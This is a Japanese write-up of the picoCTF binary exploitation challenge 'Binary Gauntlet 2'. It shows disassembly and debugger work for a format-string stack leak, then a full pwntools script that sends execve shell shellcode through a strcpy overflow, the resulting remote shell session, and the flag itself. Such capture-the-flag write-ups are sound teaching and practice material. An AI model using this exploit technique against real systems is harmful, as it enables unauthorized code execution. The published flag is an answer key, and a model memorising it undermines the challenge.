Binary Gauntlet 2 (Binary Exploitation)
How does ASLR affect your exploit? The flag for this challenge does not include the standard picoCTF{} wrapper. gauntlet nc -v wily-courier.picoctf.net 56827
添付ファイル
・gauntlet
とりあえず、実行する。
$ nc -v wily-courier.picoctf.net 56827
Connection to wily-courier.picoctf.net (18.189.99.27) 56827 port [tcp/*] succeeded!
%p
0xb35c260
gauntletファイルの情報を確認する。
$ file gauntlet
gauntlet: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2335fe540c6db20a6fba7947a73b044afebe221b, not stripped
$ checksec gauntlet
[*] '/home/colza/gauntlet'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
1回目のfgetsとprintfで、fsbを利用してスタックのアドレスをリークし、2回目のfgetsとstrcpyでshellcodeを実行する。
main関数のアセンブリを確認する。
0000000000400687 <main>:
400687: 55 push rbp
400688: 48 89 e5 mov rbp,rsp
40068b: 48 83 c4 80 add rsp,0xffffffffffffff80
40068f: 89 7d 8c mov DWORD PTR [rbp-0x74],edi
400692: 48 89 75 80 mov QWORD PTR [rbp-0x80],rsi
400696: bf e8 03 00 00 mov edi,0x3e8
40069b: e8 e0 fe ff ff call 400580 <malloc@plt>
4006a0: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
4006a4: 48 8b 15 b5 09 20 00 mov rdx,QWORD PTR [rip+0x2009b5] # 601060 <stdin@GLIBC_2.2.5>
4006ab: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
4006af: be e8 03 00 00 mov esi,0x3e8
4006b4: 48 89 c7 mov rdi,rax
4006b7: e8 b4 fe ff ff call 400570 <fgets@plt>
4006bc: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
4006c0: 48 05 e7 03 00 00 add rax,0x3e7
4006c6: c6 00 00 mov BYTE PTR [rax],0x0
4006c9: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
4006cd: 48 89 c7 mov rdi,rax
4006d0: b8 00 00 00 00 mov eax,0x0
4006d5: e8 86 fe ff ff call 400560 <printf@plt>
4006da: 48 8b 05 6f 09 20 00 mov rax,QWORD PTR [rip+0x20096f] # 601050 <stdout@GLIBC_2.2.5>
4006e1: 48 89 c7 mov rdi,rax
4006e4: e8 a7 fe ff ff call 400590 <fflush@plt>
4006e9: 48 8b 15 70 09 20 00 mov rdx,QWORD PTR [rip+0x200970] # 601060 <stdin@GLIBC_2.2.5>
4006f0: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
4006f4: be e8 03 00 00 mov esi,0x3e8
4006f9: 48 89 c7 mov rdi,rax
4006fc: e8 6f fe ff ff call 400570 <fgets@plt>
400701: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
400705: 48 05 e7 03 00 00 add rax,0x3e7
40070b: c6 00 00 mov BYTE PTR [rax],0x0
40070e: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8]
400712: 48 8d 45 90 lea rax,[rbp-0x70]
400716: 48 89 d6 mov rsi,rdx
400719: 48 89 c7 mov rdi,rax
40071c: e8 2f fe ff ff call 400550 <strcpy@plt>
400721: b8 00 00 00 00 mov eax,0x0
400726: c9 leave
400727: c3 ret
400728: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
40072f: 00
printf実行時のスタックトップの値からstrcpyの第1引数のローカル変数までのoffsetを計算する。
$gdb gauntlet
pwndbg> b *main+78
Breakpoint 1 at 0x4006d5
pwndbg> r
%6$p
pwndbg> tel
00:0000│ rsp 0x7fffffffdb80 —▸ 0x7fffffffdd18 —▸ 0x7fffffffdfd4 ◂— '/home/colza/gauntlet'
01:0008│-078 0x7fffffffdb88 ◂— 0x100000001
02:0010│-070 0x7fffffffdb90 ◂— 1
03:0018│-068 0x7fffffffdb98 ◂— 1
04:0020│-060 0x7fffffffdba0 —▸ 0x400040 ◂— 0x400000006
05:0028│-058 0x7fffffffdba8 —▸ 0x7ffff7fe283c (_dl_sysdep_start+1020) ◂— mov rax, qword ptr [rsp + 0x58]
06:0030│-050 0x7fffffffdbb0 ◂— 0x6f0
07:0038│-048 0x7fffffffdbb8 —▸ 0x7fffffffdfb9 ◂— 0xb526e6e76df14d56
pwndbg> ni
0x7fffffffdd18
pwndbg> x/gx $rbp-0x70
0x7fffffffdb90: 0x0000000000000001
スタックトップの値は0x7fffffffdd18、ローカル変数のアドレスは0x7fffffffdb90。
よって、offsetは0x7fffffffdd18 - 0x7fffffffdb90 = 0x188である。
ただし、これだとリモートで上手く動かなかった。0x158だと上手く動くので、これを利用する。
以下、実行コード。
from pwn import *
context.binary = ('./gauntlet')
p = remote('wily-courier.picoctf.net', 56827)
shellcode = asm(
"""
xor rax, rax
push rax
xor rdx, rdx
xor rsi, rsi
movabs rbx, 0x68732f2f6e69622f
push rbx
push rsp
pop rdi
mov al, 0x3b
syscall
"""
)
p.sendline(b"%6$p")
shellcode_addr = int(p.recvline().strip(), 16) - 0x158
log.info(hex(shellcode_addr))
payload = shellcode.ljust(120, b"a")
payload += p64(shellcode_addr)
p.sendline(payload)
p.interactive()
実行する。
$ python3 solve.py
[*] '/home/colza/gauntlet'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
[+] Opening connection to wily-courier.picoctf.net on port 56827: Done
[*] 0x7fff032f5060
[*] Switching to interactive mode
$ ls
Dockerfile
Makefile
Solution
flag.txt
gauntlet
gauntlet.c
start.sh
$ cat flag.txt
83aa2e7888ece2c80269b588150612d0
フラグが得られた。
83aa2e7888ece2c80269b588150612d0